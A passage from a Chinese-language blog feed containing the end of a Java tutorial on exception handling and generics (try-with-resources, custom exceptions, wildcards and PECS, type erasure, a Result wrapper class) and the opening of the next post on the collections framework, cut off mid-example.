} catch (IOException | SQLException e) {
    // 处理两种异常
    e.printStackTrace();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;限制：合并的异常之间&lt;strong&gt;不能有继承关系&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;finally 的陷阱&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;finally&lt;/code&gt; &lt;strong&gt;几乎总会执行&lt;/strong&gt;，除了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;System.exit(0)&lt;/code&gt; 被调用&lt;/li&gt;
&lt;li&gt;JVM 崩溃&lt;/li&gt;
&lt;li&gt;线程被强制杀死&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;finally&lt;/code&gt; 里的 &lt;code&gt;return&lt;/code&gt; 会吞掉异常&lt;/strong&gt;（&lt;strong&gt;极其不推荐&lt;/strong&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public int badMethod() {
    try {
        throw new RuntimeException(&quot;boom&quot;);
    } finally {
        return 42;   // ❌ 异常被吞，方法返回 42
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;finally&lt;/code&gt; 里也&lt;strong&gt;不要抛新异常&lt;/strong&gt;，会覆盖 try/catch 里的原始异常，导致排查困难。&lt;/p&gt;
&lt;h2&gt;try-with-resources（JDK 7+）&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;自动关闭资源&lt;/strong&gt;，比手动写 &lt;code&gt;finally { close(); }&lt;/code&gt; 优雅太多。任何实现 &lt;code&gt;AutoCloseable&lt;/code&gt; 接口的对象都可以放进 &lt;code&gt;try(...)&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ❌ 传统写法，繁琐且容易漏 close
BufferedReader br = null;
try {
    br = new BufferedReader(new FileReader(&quot;a.txt&quot;));
    return br.readLine();
} catch (IOException e) {
    ...
} finally {
    if (br != null) {
        try { br.close(); } catch (IOException e) { ... }
    }
}

// ✅ try-with-resources
try (BufferedReader br = new BufferedReader(new FileReader(&quot;a.txt&quot;))) {
    return br.readLine();
} catch (IOException e) {
    ...
}
// 出了 try 块 br 自动关闭，即使抛异常也会关
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;多资源同时管理&lt;/strong&gt;（用 &lt;code&gt;;&lt;/code&gt; 分隔，按声明的&lt;strong&gt;逆序&lt;/strong&gt;关闭）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;try (
    InputStream in = new FileInputStream(&quot;in.txt&quot;);
    OutputStream out = new FileOutputStream(&quot;out.txt&quot;)
) {
    in.transferTo(out);
} catch (IOException e) {
    e.printStackTrace();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;JDK 9+ 的语法糖&lt;/strong&gt;：资源可以在 try 外声明，try 里直接引用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BufferedReader br = new BufferedReader(new FileReader(&quot;a.txt&quot;));
try (br) {           // 直接引用外部变量
    return br.readLine();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
try-with-resources 是&lt;strong&gt;日常处理 IO/数据库/网络资源的首选&lt;/strong&gt;。所有实现 &lt;code&gt;AutoCloseable&lt;/code&gt; 的类都适用：文件流、数据库连接、Statement、ResultSet、Socket、Scanner 等。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;throw 与 throws&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;throw&lt;/code&gt;：&lt;strong&gt;动作&lt;/strong&gt;，抛出一个具体的异常实例&lt;/li&gt;
&lt;li&gt;&lt;code&gt;throws&lt;/code&gt;：&lt;strong&gt;声明&lt;/strong&gt;，方法签名上说明本方法可能抛哪些异常&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// throw：抛异常
public void setAge(int age) {
    if (age &amp;lt; 0) {
        throw new IllegalArgumentException(&quot;年龄不能为负数：&quot; + age);
    }
    this.age = age;
}

// throws：声明异常
public void readFile(String path) throws IOException {
    BufferedReader br = new BufferedReader(new FileReader(path));
    ...
}

// 两者常常同时出现
public void process(String path) throws IOException {
    if (path == null) {
        throw new IllegalArgumentException(&quot;path 不能为 null&quot;);   // 非受检，不需要声明
    }
    readFile(path);   // 受检，向上抛
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;自定义异常&lt;/h2&gt;
&lt;p&gt;业务代码里常常需要抛自己的异常类型，方便上层区分：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 非受检异常（推荐）：继承 RuntimeException
public class BusinessException extends RuntimeException {
    private final String code;

    public BusinessException(String code, String message) {
        super(message);
        this.code = code;
    }

    public BusinessException(String code, String message, Throwable cause) {
        super(message, cause);
        this.code = code;
    }

    public String getCode() { return code; }
}

// 受检异常：继承 Exception
public class InsufficientBalanceException extends Exception {
    public InsufficientBalanceException(double balance, double amount) {
        super(&quot;余额不足：当前 %.2f，需要 %.2f&quot;.formatted(balance, amount));
    }
}

// 使用
public void withdraw(double amount) {
    if (amount &amp;gt; balance) {
        throw new BusinessException(&quot;INSUFFICIENT_BALANCE&quot;, &quot;余额不足&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;自定义异常的最佳实践&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;优先继承 &lt;code&gt;RuntimeException&lt;/code&gt;（不强制上层处理）&lt;/li&gt;
&lt;li&gt;保留 cause：&lt;code&gt;super(message, cause)&lt;/code&gt;，便于异常链追踪&lt;/li&gt;
&lt;li&gt;携带业务上下文（错误码、参数）&lt;/li&gt;
&lt;li&gt;用异常类名表达含义，不要用 &lt;code&gt;MyException&lt;/code&gt; 这种含糊的名字&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;异常处理最佳实践&lt;/h2&gt;
&lt;h3&gt;1. 只捕获能处理的异常&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// ❌ 无脑吞异常
try { ... } catch (Exception e) { /* 什么也不做 */ }

// ✅ 要么处理，要么抛出
try { ... } catch (IOException e) {
    log.error(&quot;读取失败&quot;, e);
    throw new BusinessException(&quot;READ_ERROR&quot;, &quot;无法读取配置&quot;, e);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 不要捕获 Throwable 或 Error&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;OutOfMemoryError&lt;/code&gt;、&lt;code&gt;StackOverflowError&lt;/code&gt; 这类是 JVM 层面的严重问题，捕获它们通常没有意义，反而掩盖问题。&lt;/p&gt;
&lt;h3&gt;3. 保留异常链&lt;/h3&gt;
&lt;p&gt;用带 cause 的构造器，别丢失原始异常：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ❌ 丢失原始异常
try { ... } catch (IOException e) {
    throw new BusinessException(&quot;失败了&quot;);
}

// ✅ 保留 cause
try { ... } catch (IOException e) {
    throw new BusinessException(&quot;失败了&quot;, e);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. 不要用异常做流程控制&lt;/h3&gt;
&lt;p&gt;抛异常和捕获异常有性能开销（要构造栈帧），不要拿它当 &lt;code&gt;if&lt;/code&gt; 用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ❌ 反模式
try {
    int n = Integer.parseInt(input);
    return n;
} catch (NumberFormatException e) {
    return 0;
}

// ✅ 直接判断
if (input.matches(&quot;\\d+&quot;)) {
    return Integer.parseInt(input);
}
return 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. 日志记录用完整的异常对象&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;log.error(&quot;处理失败&quot;, e);          // ✅ 打印堆栈
// log.error(&quot;处理失败：&quot; + e.getMessage());  // ❌ 丢失堆栈
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Part 2：泛型&lt;/h1&gt;
&lt;h2&gt;为什么需要泛型&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;没有泛型的时代&lt;/strong&gt;（JDK 5 之前），集合只能存 &lt;code&gt;Object&lt;/code&gt;，取出来要强转，运行时才知道对不对：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;List list = new ArrayList();
list.add(&quot;hello&quot;);
list.add(123);            // 编译器不报错

String s = (String) list.get(0);   // ✅
String n = (String) list.get(1);   // ❌ 运行时 ClassCastException
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;有了泛型&lt;/strong&gt;，编译期就能查出类型错误：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;List&amp;lt;String&amp;gt; list = new ArrayList&amp;lt;&amp;gt;();
list.add(&quot;hello&quot;);
// list.add(123);         // ❌ 编译报错

String s = list.get(0);   // ✅ 无需强转
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对比 TypeScript：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const list: string[] = [];
list.push(&quot;hello&quot;);
// list.push(123);        // ❌ 类型错误
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;概念完全一致，Java 的泛型是&lt;strong&gt;编译期类型系统&lt;/strong&gt;的一部分。&lt;/p&gt;
&lt;h2&gt;泛型类&lt;/h2&gt;
&lt;p&gt;用&lt;strong&gt;类型参数&lt;/strong&gt;（type parameter）声明可参数化的类：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Box&amp;lt;T&amp;gt; {
    private T content;

    public void put(T item) {
        this.content = item;
    }

    public T take() {
        return content;
    }
}

// 使用
Box&amp;lt;String&amp;gt; stringBox = new Box&amp;lt;&amp;gt;();
stringBox.put(&quot;hello&quot;);
String s = stringBox.take();       // 无需强转

Box&amp;lt;Integer&amp;gt; intBox = new Box&amp;lt;&amp;gt;();
intBox.put(42);
Integer n = intBox.take();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;类型参数命名约定&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;T&lt;/code&gt;：Type&lt;/li&gt;
&lt;li&gt;&lt;code&gt;E&lt;/code&gt;：Element（集合常用）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;K&lt;/code&gt;：Key&lt;/li&gt;
&lt;li&gt;&lt;code&gt;V&lt;/code&gt;：Value&lt;/li&gt;
&lt;li&gt;&lt;code&gt;N&lt;/code&gt;：Number&lt;/li&gt;
&lt;li&gt;&lt;code&gt;S&lt;/code&gt;, &lt;code&gt;U&lt;/code&gt;, &lt;code&gt;V&lt;/code&gt;：多个类型参数时依次用&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;多类型参数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Pair&amp;lt;K, V&amp;gt; {
    private final K key;
    private final V value;

    public Pair(K key, V value) {
        this.key = key;
        this.value = value;
    }

    public K getKey() { return key; }
    public V getValue() { return value; }
}

Pair&amp;lt;String, Integer&amp;gt; p = new Pair&amp;lt;&amp;gt;(&quot;age&quot;, 25);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Java 标准库里的泛型类：&lt;code&gt;List&amp;lt;E&amp;gt;&lt;/code&gt;、&lt;code&gt;Map&amp;lt;K, V&amp;gt;&lt;/code&gt;、&lt;code&gt;Optional&amp;lt;T&amp;gt;&lt;/code&gt;、&lt;code&gt;CompletableFuture&amp;lt;T&amp;gt;&lt;/code&gt; 全是。&lt;/p&gt;
&lt;h2&gt;泛型接口&lt;/h2&gt;
&lt;p&gt;跟泛型类一样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public interface Comparable&amp;lt;T&amp;gt; {
    int compareTo(T other);
}

public class Student implements Comparable&amp;lt;Student&amp;gt; {
    private int score;

    @Override
    public int compareTo(Student other) {
        return Integer.compare(this.score, other.score);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;泛型方法&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;方法级别的泛型&lt;/strong&gt;，类型参数写在返回类型前面：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Utils {
    // 泛型方法：接受任意类型的 List，返回同类型的第一个元素
    public static &amp;lt;T&amp;gt; T first(List&amp;lt;T&amp;gt; list) {
        return list.isEmpty() ? null : list.get(0);
    }

    // 多类型参数
    public static &amp;lt;K, V&amp;gt; Map&amp;lt;V, K&amp;gt; invert(Map&amp;lt;K, V&amp;gt; map) {
        Map&amp;lt;V, K&amp;gt; result = new HashMap&amp;lt;&amp;gt;();
        for (Map.Entry&amp;lt;K, V&amp;gt; e : map.entrySet()) {
            result.put(e.getValue(), e.getKey());
        }
        return result;
    }

    // 类型参数带边界（bounded）
    public static &amp;lt;T extends Comparable&amp;lt;T&amp;gt;&amp;gt; T max(T a, T b) {
        return a.compareTo(b) &amp;gt;= 0 ? a : b;
    }

    // 多边界（用 &amp;amp;）
    public static &amp;lt;T extends Number &amp;amp; Comparable&amp;lt;T&amp;gt;&amp;gt; T maxNum(T a, T b) {
        return a.compareTo(b) &amp;gt;= 0 ? a : b;
    }
}

// 使用（编译器通常能推断，也可以显式指定）
List&amp;lt;String&amp;gt; names = List.of(&quot;a&quot;, &quot;b&quot;);
String first = Utils.first(names);              // 推断为 String
String first2 = Utils.&amp;lt;String&amp;gt;first(names);     // 显式

Utils.max(3, 5);                                // int
Utils.max(&quot;a&quot;, &quot;b&quot;);                            // String
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;类型擦除：Java 泛型的最大坑&lt;/h2&gt;
&lt;p&gt;Java 的泛型是&lt;strong&gt;编译期&lt;/strong&gt;的机制，运行时所有泛型信息都被&lt;strong&gt;擦除&lt;/strong&gt;（type erasure）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;List&amp;lt;String&amp;gt; strings = new ArrayList&amp;lt;&amp;gt;();
List&amp;lt;Integer&amp;gt; ints = new ArrayList&amp;lt;&amp;gt;();

// 运行时它们是同一个类
System.out.println(strings.getClass() == ints.getClass());
// true，都是 java.util.ArrayList

// 擦除后 List&amp;lt;String&amp;gt; 变成 List，T 变成 Object（或边界类型）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;类型擦除带来的限制&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ❌ 不能用泛型类型做 instanceof
if (list instanceof List&amp;lt;String&amp;gt;) { ... }       // 编译报错
if (list instanceof List&amp;lt;?&amp;gt;) { ... }            // ✅

// ❌ 不能 new 泛型数组
List&amp;lt;String&amp;gt;[] arr = new List&amp;lt;String&amp;gt;[10];      // 编译报错
List&amp;lt;?&amp;gt;[] arr = new List&amp;lt;?&amp;gt;[10];                // ✅

// ❌ 不能 new 类型参数
public &amp;lt;T&amp;gt; T create() {
    return new T();                              // 编译报错
}
// 变通：传 Class&amp;lt;T&amp;gt;
public &amp;lt;T&amp;gt; T create(Class&amp;lt;T&amp;gt; clazz) throws Exception {
    return clazz.getDeclaredConstructor().newInstance();
}

// ❌ 静态字段/方法不能用类的类型参数
public class Box&amp;lt;T&amp;gt; {
    // static T item;              // 编译报错
    static &amp;lt;T&amp;gt; void method() {}    // ✅ 但方法可以有自己的类型参数
}

// ❌ 不能对基本类型使用泛型
List&amp;lt;int&amp;gt; nums;                    // 编译报错
List&amp;lt;Integer&amp;gt; nums;                // ✅ 用包装类
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;通配符 ?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;通配符&lt;/strong&gt;表示&quot;未知类型&quot;，主要用于&lt;strong&gt;方法参数&lt;/strong&gt;，让方法更灵活：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ❌ List&amp;lt;Integer&amp;gt; 不是 List&amp;lt;Number&amp;gt; 的子类！
public void print(List&amp;lt;Number&amp;gt; list) { ... }
List&amp;lt;Integer&amp;gt; ints = List.of(1, 2, 3);
// print(ints);   // 编译报错

// ✅ 用通配符
public void print(List&amp;lt;?&amp;gt; list) {
    for (Object o : list) System.out.println(o);
}
print(ints);      // ✅
print(List.of(&quot;a&quot;, &quot;b&quot;));   // ✅
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;? extends T：上界通配符&lt;/h3&gt;
&lt;p&gt;表示&quot;T 或 T 的子类&quot;，&lt;strong&gt;只读&lt;/strong&gt;（生产者 Producer）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public double sum(List&amp;lt;? extends Number&amp;gt; list) {
    double total = 0;
    for (Number n : list) total += n.doubleValue();
    // list.add(1);      // ❌ 不能添加（除了 null）
    return total;
}

sum(List.of(1, 2, 3));            // List&amp;lt;Integer&amp;gt;
sum(List.of(1.5, 2.5));           // List&amp;lt;Double&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;为什么不能添加&lt;/strong&gt;：编译器不知道 &lt;code&gt;list&lt;/code&gt; 具体是 &lt;code&gt;List&amp;lt;Integer&amp;gt;&lt;/code&gt; 还是 &lt;code&gt;List&amp;lt;Double&amp;gt;&lt;/code&gt;，往里加什么都不安全。&lt;/p&gt;
&lt;h3&gt;? super T：下界通配符&lt;/h3&gt;
&lt;p&gt;表示&quot;T 或 T 的父类&quot;，&lt;strong&gt;只写&lt;/strong&gt;（消费者 Consumer）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public void addNumbers(List&amp;lt;? super Integer&amp;gt; list) {
    list.add(1);              // ✅ 可以加 Integer
    list.add(2);
    // Integer n = list.get(0);  // ❌ 取出只能是 Object
}

List&amp;lt;Number&amp;gt; nums = new ArrayList&amp;lt;&amp;gt;();
addNumbers(nums);
List&amp;lt;Object&amp;gt; objs = new ArrayList&amp;lt;&amp;gt;();
addNumbers(objs);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PECS 原则&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Producer Extends, Consumer Super&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果集合是&lt;strong&gt;生产者&lt;/strong&gt;（你要&lt;strong&gt;从中读取&lt;/strong&gt;数据），用 &lt;code&gt;&amp;lt;? extends T&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;如果集合是&lt;strong&gt;消费者&lt;/strong&gt;（你要&lt;strong&gt;往里写入&lt;/strong&gt;数据），用 &lt;code&gt;&amp;lt;? super T&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;既要读又要写，就用精确类型 &lt;code&gt;&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Java 标准库里的例子：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Collections.copy：dest 是消费者，src 是生产者
public static &amp;lt;T&amp;gt; void copy(List&amp;lt;? super T&amp;gt; dest, List&amp;lt;? extends T&amp;gt; src)

// Collections.addAll：collection 是消费者
public static &amp;lt;T&amp;gt; boolean addAll(Collection&amp;lt;? super T&amp;gt; c, T... elements)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;泛型的类型边界&lt;/h2&gt;
&lt;p&gt;用 &lt;code&gt;extends&lt;/code&gt; 限定类型参数的范围（不管是类还是接口都用 &lt;code&gt;extends&lt;/code&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// T 必须是 Number 或其子类
public class NumberBox&amp;lt;T extends Number&amp;gt; {
    private T value;
    public double doubleValue() { return value.doubleValue(); }
}

NumberBox&amp;lt;Integer&amp;gt; intBox = new NumberBox&amp;lt;&amp;gt;();     // ✅
// NumberBox&amp;lt;String&amp;gt; strBox = new NumberBox&amp;lt;&amp;gt;();   // ❌ String 不是 Number

// 多边界：T 必须同时满足
public &amp;lt;T extends Comparable&amp;lt;T&amp;gt; &amp;amp; Serializable&amp;gt; void sort(T[] arr) { ... }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;综合小例子：类型安全的结果封装&lt;/h2&gt;
&lt;p&gt;用泛型和异常写一个业务里常见的 &lt;code&gt;Result&lt;/code&gt; 类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.example.common;

import java.util.function.Function;

public class Result&amp;lt;T&amp;gt; {
    private final T data;
    private final String errorCode;
    private final String errorMessage;

    private Result(T data, String errorCode, String errorMessage) {
        this.data = data;
        this.errorCode = errorCode;
        this.errorMessage = errorMessage;
    }

    public static &amp;lt;T&amp;gt; Result&amp;lt;T&amp;gt; success(T data) {
        return new Result&amp;lt;&amp;gt;(data, null, null);
    }

    public static &amp;lt;T&amp;gt; Result&amp;lt;T&amp;gt; failure(String code, String message) {
        return new Result&amp;lt;&amp;gt;(null, code, message);
    }

    public boolean isSuccess() { return errorCode == null; }

    public T getData() {
        if (!isSuccess()) {
            throw new IllegalStateException(&quot;结果失败，无数据：&quot; + errorMessage);
        }
        return data;
    }

    public String getErrorCode() { return errorCode; }
    public String getErrorMessage() { return errorMessage; }

    // map：转换成功值
    public &amp;lt;R&amp;gt; Result&amp;lt;R&amp;gt; map(Function&amp;lt;T, R&amp;gt; mapper) {
        if (isSuccess()) {
            try {
                return Result.success(mapper.apply(data));
            } catch (Exception e) {
                return Result.failure(&quot;MAP_ERROR&quot;, e.getMessage());
            }
        }
        @SuppressWarnings(&quot;unchecked&quot;)
        Result&amp;lt;R&amp;gt; failed = (Result&amp;lt;R&amp;gt;) this;
        return failed;
    }

    // orElse：失败时提供默认值
    public T orElse(T fallback) {
        return isSuccess() ? data : fallback;
    }

    @Override
    public String toString() {
        return isSuccess()
            ? &quot;Result.success(&quot; + data + &quot;)&quot;
            : &quot;Result.failure(&quot; + errorCode + &quot;, &quot; + errorMessage + &quot;)&quot;;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public Result&amp;lt;User&amp;gt; findUser(Long id) {
    if (id == null) {
        return Result.failure(&quot;INVALID_ID&quot;, &quot;id 不能为 null&quot;);
    }
    User user = userDao.findById(id);
    if (user == null) {
        return Result.failure(&quot;NOT_FOUND&quot;, &quot;用户不存在&quot;);
    }
    return Result.success(user);
}

// 链式转换
Result&amp;lt;String&amp;gt; nameResult = findUser(1L)
    .map(User::getName)
    .map(String::toUpperCase);

String name = nameResult.orElse(&quot;Anonymous&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个 &lt;code&gt;Result&lt;/code&gt; 类同时体现了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;泛型&lt;/strong&gt;：&lt;code&gt;Result&amp;lt;T&amp;gt;&lt;/code&gt; 可以承载任何类型&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;静态工厂方法&lt;/strong&gt;：&lt;code&gt;success&lt;/code&gt;/&lt;code&gt;failure&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;异常&lt;/strong&gt;：&lt;code&gt;getData&lt;/code&gt; 在失败时抛 &lt;code&gt;IllegalStateException&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;函数式接口&lt;/strong&gt;：&lt;code&gt;map&lt;/code&gt; 接受 &lt;code&gt;Function&amp;lt;T, R&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PECS 原则&lt;/strong&gt;：&lt;code&gt;Function&amp;lt;T, R&amp;gt;&lt;/code&gt; 中 T 是生产者（读），R 是消费者（写）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// ===== 异常 =====
// 层次：Throwable → Error / Exception
// Exception → RuntimeException（非受检）+ 其他（受检）

// try/catch/finally
try { ... }
catch (IOException | SQLException e) { ... }   // 多异常合并（JDK 7+）
catch (Exception e) { ... }
finally { ... }

// try-with-resources（推荐）
try (BufferedReader br = new BufferedReader(new FileReader(&quot;a.txt&quot;))) {
    return br.readLine();
}

// 抛异常
throw new IllegalArgumentException(&quot;参数错误&quot;);
public void m() throws IOException { ... }

// 自定义异常
public class BusinessException extends RuntimeException {
    public BusinessException(String msg, Throwable cause) { super(msg, cause); }
}

// ===== 泛型 =====
// 泛型类
public class Box&amp;lt;T&amp;gt; {
    private T content;
    public void put(T item) { content = item; }
    public T take() { return content; }
}

// 泛型方法
public static &amp;lt;T&amp;gt; T first(List&amp;lt;T&amp;gt; list) { return list.get(0); }
public static &amp;lt;T extends Comparable&amp;lt;T&amp;gt;&amp;gt; T max(T a, T b) { ... }

// 通配符（PECS）
List&amp;lt;? extends Number&amp;gt; producer;   // 只读
List&amp;lt;? super Integer&amp;gt; consumer;    // 只写
List&amp;lt;?&amp;gt; anything;                  // 只能读作 Object

// 类型擦除的限制
// ❌ new T()、T.class、new T[]、instanceof List&amp;lt;String&amp;gt;、静态字段用 T
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;记忆要点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;受检异常编译器强制处理，非受检（RuntimeException）不强制&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优先用非受检异常&lt;/strong&gt;，业务错误抛 &lt;code&gt;BusinessException&lt;/code&gt; 之类&lt;/li&gt;
&lt;li&gt;处理 IO/数据库资源永远用 &lt;strong&gt;try-with-resources&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;捕获异常要保留 cause（&lt;code&gt;super(msg, cause)&lt;/code&gt;），不要吞异常&lt;/li&gt;
&lt;li&gt;不要用异常做流程控制&lt;/li&gt;
&lt;li&gt;泛型是&lt;strong&gt;编译期&lt;/strong&gt;机制，运行时被&lt;strong&gt;擦除&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;泛型不能用基本类型（&lt;code&gt;List&amp;lt;int&amp;gt;&lt;/code&gt; ❌，&lt;code&gt;List&amp;lt;Integer&amp;gt;&lt;/code&gt; ✅）&lt;/li&gt;
&lt;li&gt;通配符 &lt;strong&gt;PECS&lt;/strong&gt;：Producer Extends, Consumer Super&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;T extends Number&amp;gt;&lt;/code&gt; 限定类型边界，&lt;code&gt;&amp;lt;T extends A &amp;amp; B&amp;gt;&lt;/code&gt; 多边界&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下一阶段进入现代 Java 最好用的部分——Lambda 和 Stream API，前端工程师上手最快的地方。&lt;/p&gt;
</content:encoded></item><item><title>Java 阶段八：集合框架 List / Set / Map</title><link>http://117.72.32.87/blog/posts/java-roadmap-08-collections/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/java-roadmap-08-collections/</guid><description>Java 集合框架全景：ArrayList/LinkedList、HashSet/TreeSet、HashMap/TreeMap 的用法与选型，附 HashMap 原理简介和迭代陷阱。</description><pubDate>Fri, 04 Sep 2026 06:00:00 GMT</pubDate><content:encoded>&lt;p&gt;日常业务代码里 80% 的时间都在跟集合打交道。Java 的集合框架比 JS 的 &lt;code&gt;Array&lt;/code&gt; + &lt;code&gt;Object&lt;/code&gt; + &lt;code&gt;Map&lt;/code&gt; + &lt;code&gt;Set&lt;/code&gt; 要复杂得多，但也更有条理。这一篇把整个框架的骨架讲清楚，配上常用操作的速查表。&lt;/p&gt;
&lt;h2&gt;集合框架全景&lt;/h2&gt;
&lt;p&gt;Java 集合分两大分支：&lt;strong&gt;Collection&lt;/strong&gt;（单元素集合）和 &lt;strong&gt;Map&lt;/strong&gt;（键值对）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Iterable
  └── Collection
        ├── List（有序、可重复）
        │     ├── ArrayList     ← 90% 场景用它
        │     ├── LinkedList
        │     └── Vector（古老，别用）
        │
        ├── Set（不重复）
        │     ├── HashSet       ← 最常用
        │     ├── LinkedHashSet（保持插入顺序）
        │     └── TreeSet（排序）
        │
        └── Queue / Deque（队列）
              ├── ArrayDeque    ← 栈和队列都用它
              ├── PriorityQueue（优先队列）
              └── LinkedList（也实现了 Deque）

Map（键值对，不属于 Collection）
  ├── HashMap         ← 90% 场景用它
  ├── LinkedHashMap（保持插入顺序 / 访问顺序）
  ├── TreeMap（按 key 排序）
  ├── Hashtable（古老，别用）
  └── ConcurrentHashMap（线程安全，阶段十一讲）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;选型口诀&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;需要有序可重复 → &lt;code&gt;ArrayList&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;需要不重复 → &lt;code&gt;HashSet&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;需要按 key 查找 → &lt;code&gt;HashMap&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;需要保持插入顺序 → &lt;code&gt;LinkedHashSet&lt;/code&gt; / &lt;code&gt;LinkedHashMap&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;需要排序 → &lt;code&gt;TreeSet&lt;/code&gt; / &lt;code&gt;TreeMap&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;需要队列/栈 → &lt;code&gt;ArrayDeque&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;List：有序可重复&lt;/h2&gt;
&lt;h3&gt;ArrayList&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;动态数组&lt;/strong&gt;，最常用。内部是一个可变长度的数组，随机访问 O(1)，中间插入删除 O(n)。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.ArrayList;
import java.util.List;

// 创建
